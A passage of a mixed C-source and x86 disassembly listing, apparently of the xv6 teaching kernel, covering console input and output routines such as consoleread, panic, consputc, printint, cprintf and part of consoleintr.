int c;
iunlock(ip);
target = n;
acquire(&cons.lock);
while(n > 0){
80100301: 85 db test %ebx,%ebx
80100303: 75 c4 jne 801002c9 <consoleread+0x59>
80100305: 8b 45 10 mov 0x10(%ebp),%eax
*dst++ = c;
--n;
if(c == '\n')
break;
}
release(&cons.lock);
80100308: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010030f: 89 45 e4 mov %eax,-0x1c(%ebp)
80100312: e8 b9 41 00 00 call 801044d0 <release>
ilock(ip);
80100317: 89 3c 24 mov %edi,(%esp)
8010031a: e8 a1 13 00 00 call 801016c0 <ilock>
8010031f: 8b 45 e4 mov -0x1c(%ebp),%eax
return target - n;
80100322: eb 1d jmp 80100341 <consoleread+0xd1>
80100324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
target = n;
acquire(&cons.lock);
while(n > 0){
while(input.r == input.w){
if(proc->killed){
release(&cons.lock);
80100328: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010032f: e8 9c 41 00 00 call 801044d0 <release>
ilock(ip);
80100334: 89 3c 24 mov %edi,(%esp)
80100337: e8 84 13 00 00 call 801016c0 <ilock>
return -1;
8010033c: b8 ff ff ff ff mov $0xffffffff,%eax
}
release(&cons.lock);
ilock(ip);
return target - n;
}
80100341: 83 c4 1c add $0x1c,%esp
80100344: 5b pop %ebx
80100345: 5e pop %esi
80100346: 5f pop %edi
80100347: 5d pop %ebp
80100348: c3 ret
}
sleep(&input.r, &cons.lock);
}
c = input.buf[input.r++ % INPUT_BUF];
if(c == C('D')){ // EOF
if(n < target){
80100349: 39 5d 10 cmp %ebx,0x10(%ebp)
8010034c: 76 05 jbe 80100353 <consoleread+0xe3>
// Save ^D for next time, to make sure
// caller gets a 0-byte result.
input.r--;
8010034e: a3 c0 ff 10 80 mov %eax,0x8010ffc0
80100353: 8b 45 10 mov 0x10(%ebp),%eax
80100356: 29 d8 sub %ebx,%eax
80100358: eb ae jmp 80100308 <consoleread+0x98>
int c;
iunlock(ip);
target = n;
acquire(&cons.lock);
while(n > 0){
8010035a: 31 c0 xor %eax,%eax
8010035c: eb aa jmp 80100308 <consoleread+0x98>
8010035e: 66 90 xchg %ax,%ax
80100360 <panic>:
release(&cons.lock);
}
void
panic(char *s)
{
80100360: 55 push %ebp
80100361: 89 e5 mov %esp,%ebp
80100363: 56 push %esi
80100364: 53 push %ebx
80100365: 83 ec 40 sub $0x40,%esp
}
static inline void
cli(void)
{
asm volatile("cli");
80100368: fa cli
int i;
uint pcs[10];
cli();
cons.locking = 0;
cprintf("cpu with apicid %d: panic: ", cpu->apicid);
80100369: 65 a1 00 00 00 00 mov %gs:0x0,%eax
cprintf(s);
cprintf("\n");
getcallerpcs(&s, pcs);
8010036f: 8d 5d d0 lea -0x30(%ebp),%ebx
{
int i;
uint pcs[10];
cli();
cons.locking = 0;
80100372: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554
80100379: 00 00 00
8010037c: 8d 75 f8 lea -0x8(%ebp),%esi
cprintf("cpu with apicid %d: panic: ", cpu->apicid);
8010037f: 0f b6 00 movzbl (%eax),%eax
80100382: c7 04 24 cd 6f 10 80 movl $0x80106fcd,(%esp)
80100389: 89 44 24 04 mov %eax,0x4(%esp)
8010038d: e8 be 02 00 00 call 80100650 <cprintf>
cprintf(s);
80100392: 8b 45 08 mov 0x8(%ebp),%eax
80100395: 89 04 24 mov %eax,(%esp)
80100398: e8 b3 02 00 00 call 80100650 <cprintf>
cprintf("\n");
8010039d: c7 04 24 c6 74 10 80 movl $0x801074c6,(%esp)
801003a4: e8 a7 02 00 00 call 80100650 <cprintf>
getcallerpcs(&s, pcs);
801003a9: 8d 45 08 lea 0x8(%ebp),%eax
801003ac: 89 5c 24 04 mov %ebx,0x4(%esp)
801003b0: 89 04 24 mov %eax,(%esp)
801003b3: e8 88 3f 00 00 call 80104340 <getcallerpcs>
for(i=0; i<10; i++)
cprintf(" %p", pcs[i]);
801003b8: 8b 03 mov (%ebx),%eax
801003ba: 83 c3 04 add $0x4,%ebx
801003bd: c7 04 24 e9 6f 10 80 movl $0x80106fe9,(%esp)
801003c4: 89 44 24 04 mov %eax,0x4(%esp)
801003c8: e8 83 02 00 00 call 80100650 <cprintf>
cons.locking = 0;
cprintf("cpu with apicid %d: panic: ", cpu->apicid);
cprintf(s);
cprintf("\n");
getcallerpcs(&s, pcs);
for(i=0; i<10; i++)
801003cd: 39 f3 cmp %esi,%ebx
801003cf: 75 e7 jne 801003b8 <panic+0x58>
cprintf(" %p", pcs[i]);
panicked = 1; // freeze other CPU
801003d1: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558
801003d8: 00 00 00
801003db: eb fe jmp 801003db <panic+0x7b>
801003dd: 8d 76 00 lea 0x0(%esi),%esi
801003e0 <consputc>:
}
void
consputc(int c)
{
if(panicked){
801003e0: 8b 15 58 a5 10 80 mov 0x8010a558,%edx
801003e6: 85 d2 test %edx,%edx
801003e8: 74 06 je 801003f0 <consputc+0x10>
801003ea: fa cli
801003eb: eb fe jmp 801003eb <consputc+0xb>
801003ed: 8d 76 00 lea 0x0(%esi),%esi
crt[pos] = ' ' | 0x0700;
}
void
consputc(int c)
{
801003f0: 55 push %ebp
801003f1: 89 e5 mov %esp,%ebp
801003f3: 57 push %edi
801003f4: 56 push %esi
801003f5: 53 push %ebx
801003f6: 89 c3 mov %eax,%ebx
801003f8: 83 ec 1c sub $0x1c,%esp
cli();
for(;;)
;
}
if(c == BACKSPACE){
801003fb: 3d 00 01 00 00 cmp $0x100,%eax
80100400: 0f 84 ac 00 00 00 je 801004b2 <consputc+0xd2>
uartputc('\b'); uartputc(' '); uartputc('\b');
} else
uartputc(c);
80100406: 89 04 24 mov %eax,(%esp)
80100409: e8 c2 56 00 00 call 80105ad0 <uartputc>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010040e: bf d4 03 00 00 mov $0x3d4,%edi
80100413: b8 0e 00 00 00 mov $0xe,%eax
80100418: 89 fa mov %edi,%edx
8010041a: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010041b: be d5 03 00 00 mov $0x3d5,%esi
80100420: 89 f2 mov %esi,%edx
80100422: ec in (%dx),%al
{
int pos;
// Cursor position: col + 80*row.
outb(CRTPORT, 14);
pos = inb(CRTPORT+1) << 8;
80100423: 0f b6 c8 movzbl %al,%ecx
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100426: 89 fa mov %edi,%edx
80100428: c1 e1 08 shl $0x8,%ecx
8010042b: b8 0f 00 00 00 mov $0xf,%eax
80100430: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80100431: 89 f2 mov %esi,%edx
80100433: ec in (%dx),%al
outb(CRTPORT, 15);
pos |= inb(CRTPORT+1);
80100434: 0f b6 c0 movzbl %al,%eax
80100437: 09 c1 or %eax,%ecx
if(c == '\n')
80100439: 83 fb 0a cmp $0xa,%ebx
8010043c: 0f 84 0d 01 00 00 je 8010054f <consputc+0x16f>
pos += 80 - pos%80;
else if(c == BACKSPACE){
80100442: 81 fb 00 01 00 00 cmp $0x100,%ebx
80100448: 0f 84 e8 00 00 00 je 80100536 <consputc+0x156>
if(pos > 0) --pos;
} else
crt[pos++] = (c&0xff) | 0x0700; // black on white
8010044e: 0f b6 db movzbl %bl,%ebx
80100451: 80 cf 07 or $0x7,%bh
80100454: 8d 79 01 lea 0x1(%ecx),%edi
80100457: 66 89 9c 09 00 80 0b mov %bx,-0x7ff48000(%ecx,%ecx,1)
8010045e: 80
if(pos < 0 || pos > 25*80)
8010045f: 81 ff d0 07 00 00 cmp $0x7d0,%edi
80100465: 0f 87 bf 00 00 00 ja 8010052a <consputc+0x14a>
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
8010046b: 81 ff 7f 07 00 00 cmp $0x77f,%edi
80100471: 7f 68 jg 801004db <consputc+0xfb>
80100473: 89 f8 mov %edi,%eax
80100475: 89 fb mov %edi,%ebx
80100477: c1 e8 08 shr $0x8,%eax
8010047a: 89 c6 mov %eax,%esi
8010047c: 8d 8c 3f 00 80 0b 80 lea -0x7ff48000(%edi,%edi,1),%ecx
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100483: bf d4 03 00 00 mov $0x3d4,%edi
80100488: b8 0e 00 00 00 mov $0xe,%eax
8010048d: 89 fa mov %edi,%edx
8010048f: ee out %al,(%dx)
80100490: 89 f0 mov %esi,%eax
80100492: b2 d5 mov $0xd5,%dl
80100494: ee out %al,(%dx)
80100495: b8 0f 00 00 00 mov $0xf,%eax
8010049a: 89 fa mov %edi,%edx
8010049c: ee out %al,(%dx)
8010049d: 89 d8 mov %ebx,%eax
8010049f: b2 d5 mov $0xd5,%dl
801004a1: ee out %al,(%dx)
outb(CRTPORT, 14);
outb(CRTPORT+1, pos>>8);
outb(CRTPORT, 15);
outb(CRTPORT+1, pos);
crt[pos] = ' ' | 0x0700;
801004a2: b8 20 07 00 00 mov $0x720,%eax
801004a7: 66 89 01 mov %ax,(%ecx)
if(c == BACKSPACE){
uartputc('\b'); uartputc(' '); uartputc('\b');
} else
uartputc(c);
cgaputc(c);
}
801004aa: 83 c4 1c add $0x1c,%esp
801004ad: 5b pop %ebx
801004ae: 5e pop %esi
801004af: 5f pop %edi
801004b0: 5d pop %ebp
801004b1: c3 ret
for(;;)
;
}
if(c == BACKSPACE){
uartputc('\b'); uartputc(' '); uartputc('\b');
801004b2: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801004b9: e8 12 56 00 00 call 80105ad0 <uartputc>
801004be: c7 04 24 20 00 00 00 movl $0x20,(%esp)
801004c5: e8 06 56 00 00 call 80105ad0 <uartputc>
801004ca: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801004d1: e8 fa 55 00 00 call 80105ad0 <uartputc>
801004d6: e9 33 ff ff ff jmp 8010040e <consputc+0x2e>
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004db: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp)
801004e2: 00
pos -= 80;
801004e3: 8d 5f b0 lea -0x50(%edi),%ebx
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004e6: c7 44 24 04 a0 80 0b movl $0x800b80a0,0x4(%esp)
801004ed: 80
pos -= 80;
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
801004ee: 8d b4 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%esi
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004f5: c7 04 24 00 80 0b 80 movl $0x800b8000,(%esp)
801004fc: e8 cf 40 00 00 call 801045d0 <memmove>
pos -= 80;
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
80100501: b8 d0 07 00 00 mov $0x7d0,%eax
80100506: 29 f8 sub %edi,%eax
80100508: 01 c0 add %eax,%eax
8010050a: 89 34 24 mov %esi,(%esp)
8010050d: 89 44 24 08 mov %eax,0x8(%esp)
80100511: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80100518: 00
80100519: e8 02 40 00 00 call 80104520 <memset>
8010051e: 89 f1 mov %esi,%ecx
80100520: be 07 00 00 00 mov $0x7,%esi
80100525: e9 59 ff ff ff jmp 80100483 <consputc+0xa3>
if(pos > 0) --pos;
} else
crt[pos++] = (c&0xff) | 0x0700; // black on white
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
8010052a: c7 04 24 ed 6f 10 80 movl $0x80106fed,(%esp)
80100531: e8 2a fe ff ff call 80100360 <panic>
pos |= inb(CRTPORT+1);
if(c == '\n')
pos += 80 - pos%80;
else if(c == BACKSPACE){
if(pos > 0) --pos;
80100536: 85 c9 test %ecx,%ecx
80100538: 8d 79 ff lea -0x1(%ecx),%edi
8010053b: 0f 85 1e ff ff ff jne 8010045f <consputc+0x7f>
80100541: b9 00 80 0b 80 mov $0x800b8000,%ecx
80100546: 31 db xor %ebx,%ebx
80100548: 31 f6 xor %esi,%esi
8010054a: e9 34 ff ff ff jmp 80100483 <consputc+0xa3>
pos = inb(CRTPORT+1) << 8;
outb(CRTPORT, 15);
pos |= inb(CRTPORT+1);
if(c == '\n')
pos += 80 - pos%80;
8010054f: 89 c8 mov %ecx,%eax
80100551: ba 67 66 66 66 mov $0x66666667,%edx
80100556: f7 ea imul %edx
80100558: c1 ea 05 shr $0x5,%edx
8010055b: 8d 04 92 lea (%edx,%edx,4),%eax
8010055e: c1 e0 04 shl $0x4,%eax
80100561: 8d 78 50 lea 0x50(%eax),%edi
80100564: e9 f6 fe ff ff jmp 8010045f <consputc+0x7f>
80100569: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100570 <printint>:
int locking;
} cons;
static void
printint(int xx, int base, int sign)
{
80100570: 55 push %ebp
80100571: 89 e5 mov %esp,%ebp
80100573: 57 push %edi
80100574: 56 push %esi
80100575: 89 d6 mov %edx,%esi
80100577: 53 push %ebx
80100578: 83 ec 1c sub $0x1c,%esp
static char digits[] = "0123456789abcdef";
char buf[16];
int i;
uint x;
if(sign && (sign = xx < 0))
8010057b: 85 c9 test %ecx,%ecx
8010057d: 74 61 je 801005e0 <printint+0x70>
8010057f: 85 c0 test %eax,%eax
80100581: 79 5d jns 801005e0 <printint+0x70>
x = -xx;
80100583: f7 d8 neg %eax
80100585: bf 01 00 00 00 mov $0x1,%edi
else
x = xx;
i = 0;
8010058a: 31 c9 xor %ecx,%ecx
8010058c: eb 04 jmp 80100592 <printint+0x22>
8010058e: 66 90 xchg %ax,%ax
do{
buf[i++] = digits[x % base];
80100590: 89 d9 mov %ebx,%ecx
80100592: 31 d2 xor %edx,%edx
80100594: f7 f6 div %esi
80100596: 8d 59 01 lea 0x1(%ecx),%ebx
80100599: 0f b6 92 18 70 10 80 movzbl -0x7fef8fe8(%edx),%edx
}while((x /= base) != 0);
801005a0: 85 c0 test %eax,%eax
else
x = xx;
i = 0;
do{
buf[i++] = digits[x % base];
801005a2: 88 54 1d d7 mov %dl,-0x29(%ebp,%ebx,1)
}while((x /= base) != 0);
801005a6: 75 e8 jne 80100590 <printint+0x20>
if(sign)
801005a8: 85 ff test %edi,%edi
else
x = xx;
i = 0;
do{
buf[i++] = digits[x % base];
801005aa: 89 d8 mov %ebx,%eax
}while((x /= base) != 0);
if(sign)
801005ac: 74 08 je 801005b6 <printint+0x46>
buf[i++] = '-';
801005ae: 8d 59 02 lea 0x2(%ecx),%ebx
801005b1: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
while(--i >= 0)
801005b6: 83 eb 01 sub $0x1,%ebx
801005b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
consputc(buf[i]);
801005c0: 0f be 44 1d d8 movsbl -0x28(%ebp,%ebx,1),%eax
}while((x /= base) != 0);
if(sign)
buf[i++] = '-';
while(--i >= 0)
801005c5: 83 eb 01 sub $0x1,%ebx
consputc(buf[i]);
801005c8: e8 13 fe ff ff call 801003e0 <consputc>
}while((x /= base) != 0);
if(sign)
buf[i++] = '-';
while(--i >= 0)
801005cd: 83 fb ff cmp $0xffffffff,%ebx
801005d0: 75 ee jne 801005c0 <printint+0x50>
consputc(buf[i]);
}
801005d2: 83 c4 1c add $0x1c,%esp
801005d5: 5b pop %ebx
801005d6: 5e pop %esi
801005d7: 5f pop %edi
801005d8: 5d pop %ebp
801005d9: c3 ret
801005da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
uint x;
if(sign && (sign = xx < 0))
x = -xx;
else
x = xx;
801005e0: 31 ff xor %edi,%edi
801005e2: eb a6 jmp 8010058a <printint+0x1a>
801005e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801005ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801005f0 <consolewrite>:
return target - n;
}
int
consolewrite(struct inode *ip, char *buf, int n)
{
801005f0: 55 push %ebp
801005f1: 89 e5 mov %esp,%ebp
801005f3: 57 push %edi
801005f4: 56 push %esi
801005f5: 53 push %ebx
801005f6: 83 ec 1c sub $0x1c,%esp
int i;
iunlock(ip);
801005f9: 8b 45 08 mov 0x8(%ebp),%eax
return target - n;
}
int
consolewrite(struct inode *ip, char *buf, int n)
{
801005fc: 8b 75 10 mov 0x10(%ebp),%esi
int i;
iunlock(ip);
801005ff: 89 04 24 mov %eax,(%esp)
80100602: e8 89 11 00 00 call 80101790 <iunlock>
acquire(&cons.lock);
80100607: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010060e: e8 8d 3d 00 00 call 801043a0 <acquire>
80100613: 8b 7d 0c mov 0xc(%ebp),%edi
for(i = 0; i < n; i++)
80100616: 85 f6 test %esi,%esi
80100618: 8d 1c 37 lea (%edi,%esi,1),%ebx
8010061b: 7e 12 jle 8010062f <consolewrite+0x3f>
8010061d: 8d 76 00 lea 0x0(%esi),%esi
consputc(buf[i] & 0xff);
80100620: 0f b6 07 movzbl (%edi),%eax
80100623: 83 c7 01 add $0x1,%edi
80100626: e8 b5 fd ff ff call 801003e0 <consputc>
{
int i;
iunlock(ip);
acquire(&cons.lock);
for(i = 0; i < n; i++)
8010062b: 39 df cmp %ebx,%edi
8010062d: 75 f1 jne 80100620 <consolewrite+0x30>
consputc(buf[i] & 0xff);
release(&cons.lock);
8010062f: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100636: e8 95 3e 00 00 call 801044d0 <release>
ilock(ip);
8010063b: 8b 45 08 mov 0x8(%ebp),%eax
8010063e: 89 04 24 mov %eax,(%esp)
80100641: e8 7a 10 00 00 call 801016c0 <ilock>
return n;
}
80100646: 83 c4 1c add $0x1c,%esp
80100649: 89 f0 mov %esi,%eax
8010064b: 5b pop %ebx
8010064c: 5e pop %esi
8010064d: 5f pop %edi
8010064e: 5d pop %ebp
8010064f: c3 ret
80100650 <cprintf>:
//PAGEBREAK: 50
// Print to the console. only understands %d, %x, %p, %s.
void
cprintf(char *fmt, ...)
{
80100650: 55 push %ebp
80100651: 89 e5 mov %esp,%ebp
80100653: 57 push %edi
80100654: 56 push %esi
80100655: 53 push %ebx
80100656: 83 ec 1c sub $0x1c,%esp
int i, c, locking;
uint *argp;
char *s;
locking = cons.locking;
80100659: a1 54 a5 10 80 mov 0x8010a554,%eax
if(locking)
8010065e: 85 c0 test %eax,%eax
{
int i, c, locking;
uint *argp;
char *s;
locking = cons.locking;
80100660: 89 45 e0 mov %eax,-0x20(%ebp)
if(locking)
80100663: 0f 85 27 01 00 00 jne 80100790 <cprintf+0x140>
acquire(&cons.lock);
if (fmt == 0)
80100669: 8b 45 08 mov 0x8(%ebp),%eax
8010066c: 85 c0 test %eax,%eax
8010066e: 89 c1 mov %eax,%ecx
80100670: 0f 84 2b 01 00 00 je 801007a1 <cprintf+0x151>
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100676: 0f b6 00 movzbl (%eax),%eax
80100679: 31 db xor %ebx,%ebx
8010067b: 89 cf mov %ecx,%edi
8010067d: 8d 75 0c lea 0xc(%ebp),%esi
80100680: 85 c0 test %eax,%eax
80100682: 75 4c jne 801006d0 <cprintf+0x80>
80100684: eb 5f jmp 801006e5 <cprintf+0x95>
80100686: 66 90 xchg %ax,%ax
if(c != '%'){
consputc(c);
continue;
}
c = fmt[++i] & 0xff;
80100688: 83 c3 01 add $0x1,%ebx
8010068b: 0f b6 14 1f movzbl (%edi,%ebx,1),%edx
if(c == 0)
8010068f: 85 d2 test %edx,%edx
80100691: 74 52 je 801006e5 <cprintf+0x95>
break;
switch(c){
80100693: 83 fa 70 cmp $0x70,%edx
80100696: 74 72 je 8010070a <cprintf+0xba>
80100698: 7f 66 jg 80100700 <cprintf+0xb0>
8010069a: 83 fa 25 cmp $0x25,%edx
8010069d: 8d 76 00 lea 0x0(%esi),%esi
801006a0: 0f 84 a2 00 00 00 je 80100748 <cprintf+0xf8>
801006a6: 83 fa 64 cmp $0x64,%edx
801006a9: 75 7d jne 80100728 <cprintf+0xd8>
case 'd':
printint(*argp++, 10, 1);
801006ab: 8d 46 04 lea 0x4(%esi),%eax
801006ae: b9 01 00 00 00 mov $0x1,%ecx
801006b3: 89 45 e4 mov %eax,-0x1c(%ebp)
801006b6: 8b 06 mov (%esi),%eax
801006b8: ba 0a 00 00 00 mov $0xa,%edx
801006bd: e8 ae fe ff ff call 80100570 <printint>
801006c2: 8b 75 e4 mov -0x1c(%ebp),%esi
if (fmt == 0)
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006c5: 83 c3 01 add $0x1,%ebx
801006c8: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax
801006cc: 85 c0 test %eax,%eax
801006ce: 74 15 je 801006e5 <cprintf+0x95>
if(c != '%'){
801006d0: 83 f8 25 cmp $0x25,%eax
801006d3: 74 b3 je 80100688 <cprintf+0x38>
consputc('%');
break;
default:
// Print unknown % sequence to draw attention.
consputc('%');
consputc(c);
801006d5: e8 06 fd ff ff call 801003e0 <consputc>
if (fmt == 0)
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006da: 83 c3 01 add $0x1,%ebx
801006dd: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax
801006e1: 85 c0 test %eax,%eax
801006e3: 75 eb jne 801006d0 <cprintf+0x80>
consputc(c);
break;
}
}
if(locking)
801006e5: 8b 45 e0 mov -0x20(%ebp),%eax
801006e8: 85 c0 test %eax,%eax
801006ea: 74 0c je 801006f8 <cprintf+0xa8>
release(&cons.lock);
801006ec: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
801006f3: e8 d8 3d 00 00 call 801044d0 <release>
}
801006f8: 83 c4 1c add $0x1c,%esp
801006fb: 5b pop %ebx
801006fc: 5e pop %esi
801006fd: 5f pop %edi
801006fe: 5d pop %ebp
801006ff: c3 ret
continue;
}
c = fmt[++i] & 0xff;
if(c == 0)
break;
switch(c){
80100700: 83 fa 73 cmp $0x73,%edx
80100703: 74 53 je 80100758 <cprintf+0x108>
80100705: 83 fa 78 cmp $0x78,%edx
80100708: 75 1e jne 80100728 <cprintf+0xd8>
case 'd':
printint(*argp++, 10, 1);
break;
case 'x':
case 'p':
printint(*argp++, 16, 0);
8010070a: 8d 46 04 lea 0x4(%esi),%eax
8010070d: 31 c9 xor %ecx,%ecx
8010070f: 89 45 e4 mov %eax,-0x1c(%ebp)
80100712: 8b 06 mov (%esi),%eax
80100714: ba 10 00 00 00 mov $0x10,%edx
80100719: e8 52 fe ff ff call 80100570 <printint>
8010071e: 8b 75 e4 mov -0x1c(%ebp),%esi
break;
80100721: eb a2 jmp 801006c5 <cprintf+0x75>
80100723: 90 nop
80100724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
case '%':
consputc('%');
break;
default:
// Print unknown % sequence to draw attention.
consputc('%');
80100728: b8 25 00 00 00 mov $0x25,%eax
8010072d: 89 55 e4 mov %edx,-0x1c(%ebp)
80100730: e8 ab fc ff ff call 801003e0 <consputc>
consputc(c);
80100735: 8b 55 e4 mov -0x1c(%ebp),%edx
80100738: 89 d0 mov %edx,%eax
8010073a: e8 a1 fc ff ff call 801003e0 <consputc>
8010073f: eb 99 jmp 801006da <cprintf+0x8a>
80100741: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = "(null)";
for(; *s; s++)
consputc(*s);
break;
case '%':
consputc('%');
80100748: b8 25 00 00 00 mov $0x25,%eax
8010074d: e8 8e fc ff ff call 801003e0 <consputc>
break;
80100752: e9 6e ff ff ff jmp 801006c5 <cprintf+0x75>
80100757: 90 nop
case 'x':
case 'p':
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
80100758: 8d 46 04 lea 0x4(%esi),%eax
8010075b: 8b 36 mov (%esi),%esi
8010075d: 89 45 e4 mov %eax,-0x1c(%ebp)
s = "(null)";
80100760: b8 00 70 10 80 mov $0x80107000,%eax
80100765: 85 f6 test %esi,%esi
80100767: 0f 44 f0 cmove %eax,%esi
for(; *s; s++)
8010076a: 0f be 06 movsbl (%esi),%eax
8010076d: 84 c0 test %al,%al
8010076f: 74 16 je 80100787 <cprintf+0x137>
80100771: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100778: 83 c6 01 add $0x1,%esi
consputc(*s);
8010077b: e8 60 fc ff ff call 801003e0 <consputc>
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
s = "(null)";
for(; *s; s++)
80100780: 0f be 06 movsbl (%esi),%eax
80100783: 84 c0 test %al,%al
80100785: 75 f1 jne 80100778 <cprintf+0x128>
case 'x':
case 'p':
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
80100787: 8b 75 e4 mov -0x1c(%ebp),%esi
8010078a: e9 36 ff ff ff jmp 801006c5 <cprintf+0x75>
8010078f: 90 nop
uint *argp;
char *s;
locking = cons.locking;
if(locking)
acquire(&cons.lock);
80100790: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100797: e8 04 3c 00 00 call 801043a0 <acquire>
8010079c: e9 c8 fe ff ff jmp 80100669 <cprintf+0x19>
if (fmt == 0)
panic("null fmt");
801007a1: c7 04 24 07 70 10 80 movl $0x80107007,(%esp)
801007a8: e8 b3 fb ff ff call 80100360 <panic>
801007ad: 8d 76 00 lea 0x0(%esi),%esi
801007b0 <consoleintr>:
#define C(x) ((x)-'@') // Control-x
void
consoleintr(int (*getc)(void))
{
801007b0: 55 push %ebp
801007b1: 89 e5 mov %esp,%ebp
801007b3: 57 push %edi
801007b4: 56 push %esi
int c, doprocdump = 0;
801007b5: 31 f6 xor %esi,%esi
#define C(x) ((x)-'@') // Control-x
void
consoleintr(int (*getc)(void))
{
801007b7: 53 push %ebx
801007b8: 83 ec 1c sub $0x1c,%esp
801007bb: 8b 5d 08 mov 0x8(%ebp),%ebx
int c, doprocdump = 0;
acquire(&cons.lock);
801007be: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
801007c5: e8 d6 3b 00 00 call 801043a0 <acquire>
801007ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
while((c = getc()) >= 0){
801007d0: ff d3 call *%ebx
801007d2: 85 c0 test %eax,%eax
801007d4: 89 c7 mov %eax,%edi
801007d6: 78 48 js 80100820 <consoleintr+0x70>
switch(c){
801007d8: 83 ff 10 cmp $0x10,%edi
801007db: 0f 84 2f 01 00 00 je 80100910 <consoleintr+0x160>
801007e1: 7e 5d jle 80100840 <consoleintr+0x90>
801007e3: 83 ff 15 cmp $0x15,%edi
801007e6: 0f 84 d4 00 00 00 je 801008c0 <consoleintr+0x110>
801007ec: 83 ff 7f cmp $0x7f,%edi
801007ef: 90 nop
801007f0: 75 53 jne 80100845 <consoleintr+0x95>
input.e--;
consputc(BACKSPACE);
}
break;
case C('H'): case '\x7f': // Backspace
if(input.e != input.w){
801007f2: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
801007f7: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax
801007fd: 74 d1 je 801007d0 <consoleintr+0x20>
input.e--;
801007ff: 83 e8 01 sub $0x1,%eax
80100802: a3 c8 ff 10 80 mov %eax,0x8010ffc8
consputc(BACKSPACE);
80100807: b8 00 01 00 00 mov $0x100,%eax
8010080c: e8 cf fb ff ff call 801003e0 <consputc>
consoleintr(int (*getc)(void))
{
int c, doprocdump = 0;
acquire(&cons.lock);
while((c = getc()) >= 0){
80100811: ff d3 call *%ebx
80100813: 85 c0 test %eax,%eax
80100815: 89 c7 mov %eax,%edi
80100817: 79 bf jns 801007d8 <consoleintr+0x28>
80100819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
}
}
break;
}
}
release(&cons.lock);
80100820: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100827: e8 a4 3c 00 00 call 801044d0 <release>
if(doprocdump) {
8010082c: 85 f6 test %esi,%esi
8010082e: 0f 85 ec 00 00 00 jne 80100920 <consoleintr+0x170>
procdump(); // now call procdump() wo. cons.lock held
}
}
80100834: 83 c4 1c add $0x1c,%esp
80100837: 5b pop %ebx
80100838: 5e pop %esi
80100839: 5f pop %edi
8010083a: 5d pop %ebp
8010083b: c3 ret
8010083c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
{
int c, doprocdump = 0;
acquire(&cons.lock);
while((c = getc()) >= 0){
switch(c){
80100840: 83 ff 08 cmp $0x8,%edi
80100843: 74 ad je 801007f2 <consoleintr+0x42>
input.e--;
consputc(BACKSPACE);
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
80100845: 85 ff test %edi,%edi
80100847: 74 87 je 801007d0 <consoleintr+0x20>
80100849: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
8010084e: 89 c2 mov %eax,%edx
80100850: 2b 15 c0 ff 10 80 sub 0x8010ffc0,%edx
80100856: 83 fa 7f cmp $0x7f,%edx
80100859: 0f 87 71 ff ff ff ja 801007d0 <consoleintr+0x20>
c = (c == '\r') ? '\n' : c;
